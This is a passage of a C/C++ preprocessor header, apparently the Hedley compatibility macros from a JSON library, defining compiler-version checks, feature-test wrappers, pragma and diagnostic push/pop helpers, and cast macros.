JSON_HEDLEY_VERSION_ENCODE(__VER__ / 100, __VER__ % 100, 0)\n#endif\n#endif\n\n#if defined(JSON_HEDLEY_IAR_VERSION_CHECK)\n#undef JSON_HEDLEY_IAR_VERSION_CHECK\n#endif\n#if defined(JSON_HEDLEY_IAR_VERSION)\n#define JSON_HEDLEY_IAR_VERSION_CHECK(major,minor,patch) (JSON_HEDLEY_IAR_VERSION >= JSON_HEDLEY_VERSION_ENCODE(major, minor, patch))\n#else\n#define JSON_HEDLEY_IAR_VERSION_CHECK(major,minor,patch) (0)\n#endif\n\n#if defined(JSON_HEDLEY_TINYC_VERSION)\n#undef JSON_HEDLEY_TINYC_VERSION\n#endif\n#if defined(__TINYC__)\n#define JSON_HEDLEY_TINYC_VERSION JSON_HEDLEY_VERSION_ENCODE(__TINYC__ / 1000, (__TINYC__ / 100) % 10, __TINYC__ % 100)\n#endif\n\n#if defined(JSON_HEDLEY_TINYC_VERSION_CHECK)\n#undef JSON_HEDLEY_TINYC_VERSION_CHECK\n#endif\n#if defined(JSON_HEDLEY_TINYC_VERSION)\n#define JSON_HEDLEY_TINYC_VERSION_CHECK(major,minor,patch) (JSON_HEDLEY_TINYC_VERSION >= JSON_HEDLEY_VERSION_ENCODE(major, minor, patch))\n#else\n#define JSON_HEDLEY_TINYC_VERSION_CHECK(major,minor,patch) (0)\n#endif\n\n#if defined(JSON_HEDLEY_DMC_VERSION)\n#undef JSON_HEDLEY_DMC_VERSION\n#endif\n#if defined(__DMC__)\n#define JSON_HEDLEY_DMC_VERSION JSON_HEDLEY_VERSION_ENCODE(__DMC__ >> 8, (__DMC__ >> 4) & 0xf, __DMC__ & 0xf)\n#endif\n\n#if defined(JSON_HEDLEY_DMC_VERSION_CHECK)\n#undef JSON_HEDLEY_DMC_VERSION_CHECK\n#endif\n#if defined(JSON_HEDLEY_DMC_VERSION)\n#define JSON_HEDLEY_DMC_VERSION_CHECK(major,minor,patch) (JSON_HEDLEY_DMC_VERSION >= JSON_HEDLEY_VERSION_ENCODE(major, minor, patch))\n#else\n#define JSON_HEDLEY_DMC_VERSION_CHECK(major,minor,patch) (0)\n#endif\n\n#if defined(JSON_HEDLEY_COMPCERT_VERSION)\n#undef JSON_HEDLEY_COMPCERT_VERSION\n#endif\n#if defined(__COMPCERT_VERSION__)\n#define JSON_HEDLEY_COMPCERT_VERSION JSON_HEDLEY_VERSION_ENCODE(__COMPCERT_VERSION__ / 10000, (__COMPCERT_VERSION__ / 100) % 100, __COMPCERT_VERSION__ % 100)\n#endif\n\n#if defined(JSON_HEDLEY_COMPCERT_VERSION_CHECK)\n#undef JSON_HEDLEY_COMPCERT_VERSION_CHECK\n#endif\n#if defined(JSON_HEDLEY_COMPCERT_VERSION)\n#define JSON_HEDLEY_COMPCERT_VERSION_CHECK(major,minor,patch) (JSON_HEDLEY_COMPCERT_VERSION >= JSON_HEDLEY_VERSION_ENCODE(major, minor, patch))\n#else\n#define JSON_HEDLEY_COMPCERT_VERSION_CHECK(major,minor,patch) (0)\n#endif\n\n#if defined(JSON_HEDLEY_PELLES_VERSION)\n#undef JSON_HEDLEY_PELLES_VERSION\n#endif\n#if defined(__POCC__)\n#define JSON_HEDLEY_PELLES_VERSION JSON_HEDLEY_VERSION_ENCODE(__POCC__ / 100, __POCC__ % 100, 0)\n#endif\n\n#if defined(JSON_HEDLEY_PELLES_VERSION_CHECK)\n#undef JSON_HEDLEY_PELLES_VERSION_CHECK\n#endif\n#if defined(JSON_HEDLEY_PELLES_VERSION)\n#define JSON_HEDLEY_PELLES_VERSION_CHECK(major,minor,patch) (JSON_HEDLEY_PELLES_VERSION >= JSON_HEDLEY_VERSION_ENCODE(major, minor, patch))\n#else\n#define JSON_HEDLEY_PELLES_VERSION_CHECK(major,minor,patch) (0)\n#endif\n\n#if defined(JSON_HEDLEY_MCST_LCC_VERSION)\n#undef JSON_HEDLEY_MCST_LCC_VERSION\n#endif\n#if defined(__LCC__) && defined(__LCC_MINOR__)\n#define JSON_HEDLEY_MCST_LCC_VERSION JSON_HEDLEY_VERSION_ENCODE(__LCC__ / 100, __LCC__ % 100, __LCC_MINOR__)\n#endif\n\n#if defined(JSON_HEDLEY_MCST_LCC_VERSION_CHECK)\n#undef JSON_HEDLEY_MCST_LCC_VERSION_CHECK\n#endif\n#if defined(JSON_HEDLEY_MCST_LCC_VERSION)\n#define JSON_HEDLEY_MCST_LCC_VERSION_CHECK(major,minor,patch) (JSON_HEDLEY_MCST_LCC_VERSION >= JSON_HEDLEY_VERSION_ENCODE(major, minor, patch))\n#else\n#define JSON_HEDLEY_MCST_LCC_VERSION_CHECK(major,minor,patch) (0)\n#endif\n\n#if defined(JSON_HEDLEY_GCC_VERSION)\n#undef JSON_HEDLEY_GCC_VERSION\n#endif\n#if \\\n    defined(JSON_HEDLEY_GNUC_VERSION) && \\\n    !defined(__clang__) && \\\n    !defined(JSON_HEDLEY_INTEL_VERSION) && \\\n    !defined(JSON_HEDLEY_PGI_VERSION) && \\\n    !defined(JSON_HEDLEY_ARM_VERSION) && \\\n    !defined(JSON_HEDLEY_CRAY_VERSION) && \\\n    !defined(JSON_HEDLEY_TI_VERSION) && \\\n    !defined(JSON_HEDLEY_TI_ARMCL_VERSION) && \\\n    !defined(JSON_HEDLEY_TI_CL430_VERSION) && \\\n    !defined(JSON_HEDLEY_TI_CL2000_VERSION) && \\\n    !defined(JSON_HEDLEY_TI_CL6X_VERSION) && \\\n    !defined(JSON_HEDLEY_TI_CL7X_VERSION) && \\\n    !defined(JSON_HEDLEY_TI_CLPRU_VERSION) && \\\n    !defined(__COMPCERT__) && \\\n    !defined(JSON_HEDLEY_MCST_LCC_VERSION)\n#define JSON_HEDLEY_GCC_VERSION JSON_HEDLEY_GNUC_VERSION\n#endif\n\n#if defined(JSON_HEDLEY_GCC_VERSION_CHECK)\n#undef JSON_HEDLEY_GCC_VERSION_CHECK\n#endif\n#if defined(JSON_HEDLEY_GCC_VERSION)\n#define JSON_HEDLEY_GCC_VERSION_CHECK(major,minor,patch) (JSON_HEDLEY_GCC_VERSION >= JSON_HEDLEY_VERSION_ENCODE(major, minor, patch))\n#else\n#define JSON_HEDLEY_GCC_VERSION_CHECK(major,minor,patch) (0)\n#endif\n\n#if defined(JSON_HEDLEY_HAS_ATTRIBUTE)\n#undef JSON_HEDLEY_HAS_ATTRIBUTE\n#endif\n#if \\\n  defined(__has_attribute) && \\\n  ( \\\n    (!defined(JSON_HEDLEY_IAR_VERSION) || JSON_HEDLEY_IAR_VERSION_CHECK(8,5,9)) \\\n  )\n#  define JSON_HEDLEY_HAS_ATTRIBUTE(attribute) __has_attribute(attribute)\n#else\n#  define JSON_HEDLEY_HAS_ATTRIBUTE(attribute) (0)\n#endif\n\n#if defined(JSON_HEDLEY_GNUC_HAS_ATTRIBUTE)\n#undef JSON_HEDLEY_GNUC_HAS_ATTRIBUTE\n#endif\n#if defined(__has_attribute)\n#define JSON_HEDLEY_GNUC_HAS_ATTRIBUTE(attribute,major,minor,patch) JSON_HEDLEY_HAS_ATTRIBUTE(attribute)\n#else\n#define JSON_HEDLEY_GNUC_HAS_ATTRIBUTE(attribute,major,minor,patch) JSON_HEDLEY_GNUC_VERSION_CHECK(major,minor,patch)\n#endif\n\n#if defined(JSON_HEDLEY_GCC_HAS_ATTRIBUTE)\n#undef JSON_HEDLEY_GCC_HAS_ATTRIBUTE\n#endif\n#if defined(__has_attribute)\n#define JSON_HEDLEY_GCC_HAS_ATTRIBUTE(attribute,major,minor,patch) JSON_HEDLEY_HAS_ATTRIBUTE(attribute)\n#else\n#define JSON_HEDLEY_GCC_HAS_ATTRIBUTE(attribute,major,minor,patch) JSON_HEDLEY_GCC_VERSION_CHECK(major,minor,patch)\n#endif\n\n#if defined(JSON_HEDLEY_HAS_CPP_ATTRIBUTE)\n#undef JSON_HEDLEY_HAS_CPP_ATTRIBUTE\n#endif\n#if \\\n    defined(__has_cpp_attribute) && \\\n    defined(__cplusplus) && \\\n    (!defined(JSON_HEDLEY_SUNPRO_VERSION) || JSON_HEDLEY_SUNPRO_VERSION_CHECK(5,15,0))\n#define JSON_HEDLEY_HAS_CPP_ATTRIBUTE(attribute) __has_cpp_attribute(attribute)\n#else\n#define JSON_HEDLEY_HAS_CPP_ATTRIBUTE(attribute) (0)\n#endif\n\n#if defined(JSON_HEDLEY_HAS_CPP_ATTRIBUTE_NS)\n#undef JSON_HEDLEY_HAS_CPP_ATTRIBUTE_NS\n#endif\n#if !defined(__cplusplus) || !defined(__has_cpp_attribute)\n#define JSON_HEDLEY_HAS_CPP_ATTRIBUTE_NS(ns,attribute) (0)\n#elif \\\n    !defined(JSON_HEDLEY_PGI_VERSION) && \\\n    !defined(JSON_HEDLEY_IAR_VERSION) && \\\n    (!defined(JSON_HEDLEY_SUNPRO_VERSION) || JSON_HEDLEY_SUNPRO_VERSION_CHECK(5,15,0)) && \\\n    (!defined(JSON_HEDLEY_MSVC_VERSION) || JSON_HEDLEY_MSVC_VERSION_CHECK(19,20,0))\n#define JSON_HEDLEY_HAS_CPP_ATTRIBUTE_NS(ns,attribute) JSON_HEDLEY_HAS_CPP_ATTRIBUTE(ns::attribute)\n#else\n#define JSON_HEDLEY_HAS_CPP_ATTRIBUTE_NS(ns,attribute) (0)\n#endif\n\n#if defined(JSON_HEDLEY_GNUC_HAS_CPP_ATTRIBUTE)\n#undef JSON_HEDLEY_GNUC_HAS_CPP_ATTRIBUTE\n#endif\n#if defined(__has_cpp_attribute) && defined(__cplusplus)\n#define JSON_HEDLEY_GNUC_HAS_CPP_ATTRIBUTE(attribute,major,minor,patch) __has_cpp_attribute(attribute)\n#else\n#define JSON_HEDLEY_GNUC_HAS_CPP_ATTRIBUTE(attribute,major,minor,patch) JSON_HEDLEY_GNUC_VERSION_CHECK(major,minor,patch)\n#endif\n\n#if defined(JSON_HEDLEY_GCC_HAS_CPP_ATTRIBUTE)\n#undef JSON_HEDLEY_GCC_HAS_CPP_ATTRIBUTE\n#endif\n#if defined(__has_cpp_attribute) && defined(__cplusplus)\n#define JSON_HEDLEY_GCC_HAS_CPP_ATTRIBUTE(attribute,major,minor,patch) __has_cpp_attribute(attribute)\n#else\n#define JSON_HEDLEY_GCC_HAS_CPP_ATTRIBUTE(attribute,major,minor,patch) JSON_HEDLEY_GCC_VERSION_CHECK(major,minor,patch)\n#endif\n\n#if defined(JSON_HEDLEY_HAS_BUILTIN)\n#undef JSON_HEDLEY_HAS_BUILTIN\n#endif\n#if defined(__has_builtin)\n#define JSON_HEDLEY_HAS_BUILTIN(builtin) __has_builtin(builtin)\n#else\n#define JSON_HEDLEY_HAS_BUILTIN(builtin) (0)\n#endif\n\n#if defined(JSON_HEDLEY_GNUC_HAS_BUILTIN)\n#undef JSON_HEDLEY_GNUC_HAS_BUILTIN\n#endif\n#if defined(__has_builtin)\n#define JSON_HEDLEY_GNUC_HAS_BUILTIN(builtin,major,minor,patch) __has_builtin(builtin)\n#else\n#define JSON_HEDLEY_GNUC_HAS_BUILTIN(builtin,major,minor,patch) JSON_HEDLEY_GNUC_VERSION_CHECK(major,minor,patch)\n#endif\n\n#if defined(JSON_HEDLEY_GCC_HAS_BUILTIN)\n#undef JSON_HEDLEY_GCC_HAS_BUILTIN\n#endif\n#if defined(__has_builtin)\n#define JSON_HEDLEY_GCC_HAS_BUILTIN(builtin,major,minor,patch) __has_builtin(builtin)\n#else\n#define JSON_HEDLEY_GCC_HAS_BUILTIN(builtin,major,minor,patch) JSON_HEDLEY_GCC_VERSION_CHECK(major,minor,patch)\n#endif\n\n#if defined(JSON_HEDLEY_HAS_FEATURE)\n#undef JSON_HEDLEY_HAS_FEATURE\n#endif\n#if defined(__has_feature)\n#define JSON_HEDLEY_HAS_FEATURE(feature) __has_feature(feature)\n#else\n#define JSON_HEDLEY_HAS_FEATURE(feature) (0)\n#endif\n\n#if defined(JSON_HEDLEY_GNUC_HAS_FEATURE)\n#undef JSON_HEDLEY_GNUC_HAS_FEATURE\n#endif\n#if defined(__has_feature)\n#define JSON_HEDLEY_GNUC_HAS_FEATURE(feature,major,minor,patch) __has_feature(feature)\n#else\n#define JSON_HEDLEY_GNUC_HAS_FEATURE(feature,major,minor,patch) JSON_HEDLEY_GNUC_VERSION_CHECK(major,minor,patch)\n#endif\n\n#if defined(JSON_HEDLEY_GCC_HAS_FEATURE)\n#undef JSON_HEDLEY_GCC_HAS_FEATURE\n#endif\n#if defined(__has_feature)\n#define JSON_HEDLEY_GCC_HAS_FEATURE(feature,major,minor,patch) __has_feature(feature)\n#else\n#define JSON_HEDLEY_GCC_HAS_FEATURE(feature,major,minor,patch) JSON_HEDLEY_GCC_VERSION_CHECK(major,minor,patch)\n#endif\n\n#if defined(JSON_HEDLEY_HAS_EXTENSION)\n#undef JSON_HEDLEY_HAS_EXTENSION\n#endif\n#if defined(__has_extension)\n#define JSON_HEDLEY_HAS_EXTENSION(extension) __has_extension(extension)\n#else\n#define JSON_HEDLEY_HAS_EXTENSION(extension) (0)\n#endif\n\n#if defined(JSON_HEDLEY_GNUC_HAS_EXTENSION)\n#undef JSON_HEDLEY_GNUC_HAS_EXTENSION\n#endif\n#if defined(__has_extension)\n#define JSON_HEDLEY_GNUC_HAS_EXTENSION(extension,major,minor,patch) __has_extension(extension)\n#else\n#define JSON_HEDLEY_GNUC_HAS_EXTENSION(extension,major,minor,patch) JSON_HEDLEY_GNUC_VERSION_CHECK(major,minor,patch)\n#endif\n\n#if defined(JSON_HEDLEY_GCC_HAS_EXTENSION)\n#undef JSON_HEDLEY_GCC_HAS_EXTENSION\n#endif\n#if defined(__has_extension)\n#define JSON_HEDLEY_GCC_HAS_EXTENSION(extension,major,minor,patch) __has_extension(extension)\n#else\n#define JSON_HEDLEY_GCC_HAS_EXTENSION(extension,major,minor,patch) JSON_HEDLEY_GCC_VERSION_CHECK(major,minor,patch)\n#endif\n\n#if defined(JSON_HEDLEY_HAS_DECLSPEC_ATTRIBUTE)\n#undef JSON_HEDLEY_HAS_DECLSPEC_ATTRIBUTE\n#endif\n#if defined(__has_declspec_attribute)\n#define JSON_HEDLEY_HAS_DECLSPEC_ATTRIBUTE(attribute) __has_declspec_attribute(attribute)\n#else\n#define JSON_HEDLEY_HAS_DECLSPEC_ATTRIBUTE(attribute) (0)\n#endif\n\n#if defined(JSON_HEDLEY_GNUC_HAS_DECLSPEC_ATTRIBUTE)\n#undef JSON_HEDLEY_GNUC_HAS_DECLSPEC_ATTRIBUTE\n#endif\n#if defined(__has_declspec_attribute)\n#define JSON_HEDLEY_GNUC_HAS_DECLSPEC_ATTRIBUTE(attribute,major,minor,patch) __has_declspec_attribute(attribute)\n#else\n#define JSON_HEDLEY_GNUC_HAS_DECLSPEC_ATTRIBUTE(attribute,major,minor,patch) JSON_HEDLEY_GNUC_VERSION_CHECK(major,minor,patch)\n#endif\n\n#if defined(JSON_HEDLEY_GCC_HAS_DECLSPEC_ATTRIBUTE)\n#undef JSON_HEDLEY_GCC_HAS_DECLSPEC_ATTRIBUTE\n#endif\n#if defined(__has_declspec_attribute)\n#define JSON_HEDLEY_GCC_HAS_DECLSPEC_ATTRIBUTE(attribute,major,minor,patch) __has_declspec_attribute(attribute)\n#else\n#define JSON_HEDLEY_GCC_HAS_DECLSPEC_ATTRIBUTE(attribute,major,minor,patch) JSON_HEDLEY_GCC_VERSION_CHECK(major,minor,patch)\n#endif\n\n#if defined(JSON_HEDLEY_HAS_WARNING)\n#undef JSON_HEDLEY_HAS_WARNING\n#endif\n#if defined(__has_warning)\n#define JSON_HEDLEY_HAS_WARNING(warning) __has_warning(warning)\n#else\n#define JSON_HEDLEY_HAS_WARNING(warning) (0)\n#endif\n\n#if defined(JSON_HEDLEY_GNUC_HAS_WARNING)\n#undef JSON_HEDLEY_GNUC_HAS_WARNING\n#endif\n#if defined(__has_warning)\n#define JSON_HEDLEY_GNUC_HAS_WARNING(warning,major,minor,patch) __has_warning(warning)\n#else\n#define JSON_HEDLEY_GNUC_HAS_WARNING(warning,major,minor,patch) JSON_HEDLEY_GNUC_VERSION_CHECK(major,minor,patch)\n#endif\n\n#if defined(JSON_HEDLEY_GCC_HAS_WARNING)\n#undef JSON_HEDLEY_GCC_HAS_WARNING\n#endif\n#if defined(__has_warning)\n#define JSON_HEDLEY_GCC_HAS_WARNING(warning,major,minor,patch) __has_warning(warning)\n#else\n#define JSON_HEDLEY_GCC_HAS_WARNING(warning,major,minor,patch) JSON_HEDLEY_GCC_VERSION_CHECK(major,minor,patch)\n#endif\n\n#if \\\n    (defined(__STDC_VERSION__) && (__STDC_VERSION__ >= 199901L)) || \\\n    defined(__clang__) || \\\n    JSON_HEDLEY_GCC_VERSION_CHECK(3,0,0) || \\\n    JSON_HEDLEY_INTEL_VERSION_CHECK(13,0,0) || \\\n    JSON_HEDLEY_IAR_VERSION_CHECK(8,0,0) || \\\n    JSON_HEDLEY_PGI_VERSION_CHECK(18,4,0) || \\\n    JSON_HEDLEY_ARM_VERSION_CHECK(4,1,0) || \\\n    JSON_HEDLEY_TI_VERSION_CHECK(15,12,0) || \\\n    JSON_HEDLEY_TI_ARMCL_VERSION_CHECK(4,7,0) || \\\n    JSON_HEDLEY_TI_CL430_VERSION_CHECK(2,0,1) || \\\n    JSON_HEDLEY_TI_CL2000_VERSION_CHECK(6,1,0) || \\\n    JSON_HEDLEY_TI_CL6X_VERSION_CHECK(7,0,0) || \\\n    JSON_HEDLEY_TI_CL7X_VERSION_CHECK(1,2,0) || \\\n    JSON_HEDLEY_TI_CLPRU_VERSION_CHECK(2,1,0) || \\\n    JSON_HEDLEY_CRAY_VERSION_CHECK(5,0,0) || \\\n    JSON_HEDLEY_TINYC_VERSION_CHECK(0,9,17) || \\\n    JSON_HEDLEY_SUNPRO_VERSION_CHECK(8,0,0) || \\\n    (JSON_HEDLEY_IBM_VERSION_CHECK(10,1,0) && defined(__C99_PRAGMA_OPERATOR))\n#define JSON_HEDLEY_PRAGMA(value) _Pragma(#value)\n#elif JSON_HEDLEY_MSVC_VERSION_CHECK(15,0,0)\n#define JSON_HEDLEY_PRAGMA(value) __pragma(value)\n#else\n#define JSON_HEDLEY_PRAGMA(value)\n#endif\n\n#if defined(JSON_HEDLEY_DIAGNOSTIC_PUSH)\n#undef JSON_HEDLEY_DIAGNOSTIC_PUSH\n#endif\n#if defined(JSON_HEDLEY_DIAGNOSTIC_POP)\n#undef JSON_HEDLEY_DIAGNOSTIC_POP\n#endif\n#if defined(__clang__)\n#define JSON_HEDLEY_DIAGNOSTIC_PUSH _Pragma(\"clang diagnostic push\")\n#define JSON_HEDLEY_DIAGNOSTIC_POP _Pragma(\"clang diagnostic pop\")\n#elif JSON_HEDLEY_INTEL_VERSION_CHECK(13,0,0)\n#define JSON_HEDLEY_DIAGNOSTIC_PUSH _Pragma(\"warning(push)\")\n#define JSON_HEDLEY_DIAGNOSTIC_POP _Pragma(\"warning(pop)\")\n#elif JSON_HEDLEY_GCC_VERSION_CHECK(4,6,0)\n#define JSON_HEDLEY_DIAGNOSTIC_PUSH _Pragma(\"GCC diagnostic push\")\n#define JSON_HEDLEY_DIAGNOSTIC_POP _Pragma(\"GCC diagnostic pop\")\n#elif \\\n    JSON_HEDLEY_MSVC_VERSION_CHECK(15,0,0) || \\\n    JSON_HEDLEY_INTEL_CL_VERSION_CHECK(2021,1,0)\n#define JSON_HEDLEY_DIAGNOSTIC_PUSH __pragma(warning(push))\n#define JSON_HEDLEY_DIAGNOSTIC_POP __pragma(warning(pop))\n#elif JSON_HEDLEY_ARM_VERSION_CHECK(5,6,0)\n#define JSON_HEDLEY_DIAGNOSTIC_PUSH _Pragma(\"push\")\n#define JSON_HEDLEY_DIAGNOSTIC_POP _Pragma(\"pop\")\n#elif \\\n    JSON_HEDLEY_TI_VERSION_CHECK(15,12,0) || \\\n    JSON_HEDLEY_TI_ARMCL_VERSION_CHECK(5,2,0) || \\\n    JSON_HEDLEY_TI_CL430_VERSION_CHECK(4,4,0) || \\\n    JSON_HEDLEY_TI_CL6X_VERSION_CHECK(8,1,0) || \\\n    JSON_HEDLEY_TI_CL7X_VERSION_CHECK(1,2,0) || \\\n    JSON_HEDLEY_TI_CLPRU_VERSION_CHECK(2,1,0)\n#define JSON_HEDLEY_DIAGNOSTIC_PUSH _Pragma(\"diag_push\")\n#define JSON_HEDLEY_DIAGNOSTIC_POP _Pragma(\"diag_pop\")\n#elif JSON_HEDLEY_PELLES_VERSION_CHECK(2,90,0)\n#define JSON_HEDLEY_DIAGNOSTIC_PUSH _Pragma(\"warning(push)\")\n#define JSON_HEDLEY_DIAGNOSTIC_POP _Pragma(\"warning(pop)\")\n#else\n#define JSON_HEDLEY_DIAGNOSTIC_PUSH\n#define JSON_HEDLEY_DIAGNOSTIC_POP\n#endif\n\n /* JSON_HEDLEY_DIAGNOSTIC_DISABLE_CPP98_COMPAT_WRAP_ is for\n    HEDLEY INTERNAL USE ONLY.  API subject to change without notice. */\n#if defined(JSON_HEDLEY_DIAGNOSTIC_DISABLE_CPP98_COMPAT_WRAP_)\n#undef JSON_HEDLEY_DIAGNOSTIC_DISABLE_CPP98_COMPAT_WRAP_\n#endif\n#if defined(__cplusplus)\n#  if JSON_HEDLEY_HAS_WARNING(\"-Wc++98-compat\")\n#    if JSON_HEDLEY_HAS_WARNING(\"-Wc++17-extensions\")\n#      if JSON_HEDLEY_HAS_WARNING(\"-Wc++1z-extensions\")\n#        define JSON_HEDLEY_DIAGNOSTIC_DISABLE_CPP98_COMPAT_WRAP_(xpr) \\\n    JSON_HEDLEY_DIAGNOSTIC_PUSH \\\n    _Pragma(\"clang diagnostic ignored \\\"-Wc++98-compat\\\"\") \\\n    _Pragma(\"clang diagnostic ignored \\\"-Wc++17-extensions\\\"\") \\\n    _Pragma(\"clang diagnostic ignored \\\"-Wc++1z-extensions\\\"\") \\\n    xpr \\\n    JSON_HEDLEY_DIAGNOSTIC_POP\n#      else\n#        define JSON_HEDLEY_DIAGNOSTIC_DISABLE_CPP98_COMPAT_WRAP_(xpr) \\\n    JSON_HEDLEY_DIAGNOSTIC_PUSH \\\n    _Pragma(\"clang diagnostic ignored \\\"-Wc++98-compat\\\"\") \\\n    _Pragma(\"clang diagnostic ignored \\\"-Wc++17-extensions\\\"\") \\\n    xpr \\\n    JSON_HEDLEY_DIAGNOSTIC_POP\n#      endif\n#    else\n#      define JSON_HEDLEY_DIAGNOSTIC_DISABLE_CPP98_COMPAT_WRAP_(xpr) \\\n    JSON_HEDLEY_DIAGNOSTIC_PUSH \\\n    _Pragma(\"clang diagnostic ignored \\\"-Wc++98-compat\\\"\") \\\n    xpr \\\n    JSON_HEDLEY_DIAGNOSTIC_POP\n#    endif\n#  endif\n#endif\n#if !defined(JSON_HEDLEY_DIAGNOSTIC_DISABLE_CPP98_COMPAT_WRAP_)\n#define JSON_HEDLEY_DIAGNOSTIC_DISABLE_CPP98_COMPAT_WRAP_(x) x\n#endif\n\n#if defined(JSON_HEDLEY_CONST_CAST)\n#undef JSON_HEDLEY_CONST_CAST\n#endif\n#if defined(__cplusplus)\n#  define JSON_HEDLEY_CONST_CAST(T, expr) (const_cast<T>(expr))\n#elif \\\n  JSON_HEDLEY_HAS_WARNING(\"-Wcast-qual\") || \\\n  JSON_HEDLEY_GCC_VERSION_CHECK(4,6,0) || \\\n  JSON_HEDLEY_INTEL_VERSION_CHECK(13,0,0)\n#  define JSON_HEDLEY_CONST_CAST(T, expr) (__extension__ ({ \\\n        JSON_HEDLEY_DIAGNOSTIC_PUSH \\\n        JSON_HEDLEY_DIAGNOSTIC_DISABLE_CAST_QUAL \\\n        ((T) (expr)); \\\n        JSON_HEDLEY_DIAGNOSTIC_POP \\\n    }))\n#else\n#  define JSON_HEDLEY_CONST_CAST(T, expr) ((T) (expr))\n#endif\n\n#if defined(JSON_HEDLEY_REINTERPRET_CAST)\n#undef JSON_HEDLEY_REINTERPRET_CAST\n#endif\n#if defined(__cplusplus)\n#define JSON_HEDLEY_REINTERPRET_CAST(T, expr) (reinterpret_cast<T>(expr))\n#else\n#define JSON_HEDLEY_REINTERPRET_CAST(T, expr) ((T) (expr))\n#endif\n\n#if defined(JSON_HEDLEY_STATIC_CAST)\n#undef JSON_HEDLEY_STATIC_CAST\n#endif\n#if defined(__cplusplus)\n#define JSON_HEDLEY_STATIC_CAST(T, expr) (static_cast<T>(expr))\n#else\n#define JSON_HEDLEY_STATIC_CAST(T, expr) ((T) (expr))\n#endif\n\n#if defined(JSON_HEDLEY_CPP_CAST)\n#undef JSON_HEDLEY_CPP_CAST\n#endif\n#if defined(__cplusplus)\n#  if JSON_HEDLEY_HAS_WARNING(\"-Wold-style-cast\")\n#    define JSON_HEDLEY_CPP_CAST(T, expr) \\\n    JSON_HEDLEY_DIAGNOSTIC_PUSH \\\n    _Pragma(\"clang diagnostic ignored \\\"-Wold-style-cast\\\"\") \\\n    ((T) (expr)) \\\n    JSON_HEDLEY_DIAGNOSTIC_POP\n#  elif JSON_HEDLEY_IAR_VERSION_CHECK(8,3,0)\n#    define JSON_HEDLEY_CPP_CAST(T, expr) \\\n    JSON_HEDLEY_DIAGNOSTIC_PUSH \\\n    _Pragma(\"diag_suppress=Pe137\") \\\n    JSON_HEDLEY_DIAGNOSTIC_POP\n#  else\n#    define JSON_HEDLEY_CPP_CAST(T, expr) ((T) (expr))\n#  endif\n#else\n#  define JSON_HEDLEY_CPP_CAST(T, expr) (expr)\n#endif\n\n#if defined(JSON_HEDLEY_DIAGNOSTIC_DISABLE_DEPRECATED)\n#undef JSON_HEDLEY_DIAGNOSTIC_DISABLE_DEPRECATED\n#endif\n#if JSON_HEDLEY_HAS_WARNING(\"-Wdeprecated-declarations\")\n#define JSON_HEDLEY_DIAGNOSTIC_DISABLE_DEPRECATED _Pragma(\"clang diagnostic ignored \\\"-Wdeprecated-declarations\\\"\")\n#elif JSON_HEDLEY_INTEL_VERSION_CHECK(13,0,0)\n#define JSON_HEDLEY_DIAGNOSTIC_DISABLE_DEPRECATED _Pragma(\"warning(disable:1478 1786)\")\n#elif JSON_HEDLEY_INTEL_CL_VERSION_CHECK(2021,1,0)\n#define JSON_HEDLEY_DIAGNOSTIC_DISABLE_DEPRECATED __pragma(warning(disable:1478 1786))\n#elif JSON_HEDLEY_PGI_VERSION_CHECK(20,7,0)\n#define JSON_HEDLEY_DIAGNOSTIC_DISABLE_DEPRECATED _Pragma(\"diag_suppress 1215,1216,1444,1445\")\n#elif JSON_HEDLEY_PGI_VERSION_CHECK(17,10,0)\n#define JSON_HEDLEY_DIAGNOSTIC_DISABLE_DEPRECATED _Pragma(\"diag_suppress 1215,1444\")\n#elif JSON_HEDLEY_GCC_VERSION_CHECK(4,3,0)\n#define JSON_HEDLEY_DIAGNOSTIC_DISABLE_DEPRECATED _Pragma(\"GCC diagnostic ignored \\\"-Wdeprecated-declarations\\\"\")\n#elif JSON_HEDLEY_MSVC_VERSION_CHECK(15,0,0)\n#define JSON_HEDLEY_DIAGNOSTIC_DISABLE_DEPRECATED __pragma(warning(disable:4996))\n#elif JSON_HEDLEY_MCST_LCC_VERSION_CHECK(1,25,10)\n#define JSON_HEDLEY_DIAGNOSTIC_DISABLE_DEPRECATED _Pragma(\"diag_suppress 1215,1444\")\n#elif \\\n    JSON_HEDLEY_TI_VERSION_CHECK(15,12,0) || \\\n    (JSON_HEDLEY_TI_ARMCL_VERSION_CHECK(4,8,0) && defined(__TI_GNU_ATTRIBUTE_SUPPORT__)) || \\\n    JSON_HEDLEY_TI_ARMCL_VERSION_CHECK(5,2,0) || \\\n    (JSON_HEDLEY_TI_CL2000_VERSION_CHECK(6,0,0) && defined(__TI_GNU_ATTRIBUTE_SUPPORT__)) || \\\n    JSON_HEDLEY_TI_CL2000_VERSION_CHECK(6,4,0) || \\\n    (JSON_HEDLEY_TI_CL430_VERSION_CHECK(4,0,0) && defined(__TI_GNU_ATTRIBUTE_SUPPORT__)) || \\\n    JSON_HEDLEY_TI_CL430_VERSION_CHECK(4,3,0) || \\\n    (JSON_HEDLEY_TI_CL6X_VERSION_CHECK(7,2,0) && defined(__TI_GNU_ATTRIBUTE_SUPPORT__)) || \\\n    JSON_HEDLEY_TI_CL6X_VERSION_CHECK(7,5,0) || \\\n    JSON_HEDLEY_TI_CL7X_VERSION_CHECK(1,2,0) || \\\n    JSON_HEDLEY_TI_CLPRU_VERSION_CHECK(2,1,0)\n#define JSON_HEDLEY_DIAGNOSTIC_DISABLE_DEPRECATED _Pragma(\"diag_suppress 1291,1718\")\n#elif JSON_HEDLEY_SUNPRO_VERSION_CHECK(5,13,0) && !defined(__cplusplus)\n#define JSON_HEDLEY_DIAGNOSTIC_DISABLE_DEPRECATED _Pragma(\"error_messages(off,E_DEPRECATED_ATT,E_DEPRECATED_ATT_MESS)\")\n#elif JSON_HEDLEY_SUNPRO_VERSION_CHECK(5,13,0) && defined(__cplusplus)\n#define JSON_HEDLEY_DIAGNOSTIC_DISABLE_DEPRECATED _Pragma(\"error_messages(off,symdeprecated,symdeprecated2)\")\n#elif JSON_HEDLEY_IAR_VERSION_CHECK(8,0,0)\n#define JSON_HEDLEY_DIAGNOSTIC_DISABLE_DEPRECATED _Pragma(\"diag_suppress=Pe1444,Pe1215\")\n#elif JSON_HEDLEY_PELLES_VERSION_CHECK(2,90,0)\n#define JSON_HEDLEY_DIAGNOSTIC_DISABLE_DEPRECATED _Pragma(\"warn(disable:2241)\")\n#else\n#define JSON_HEDLEY_DIAGNOSTIC_DISABLE_DEPRECATED\n#endif\n\n#if defined(JSON_HEDLEY_DIAGNOSTIC_DISABLE_UNKNOWN_PRAGMAS)\n#undef 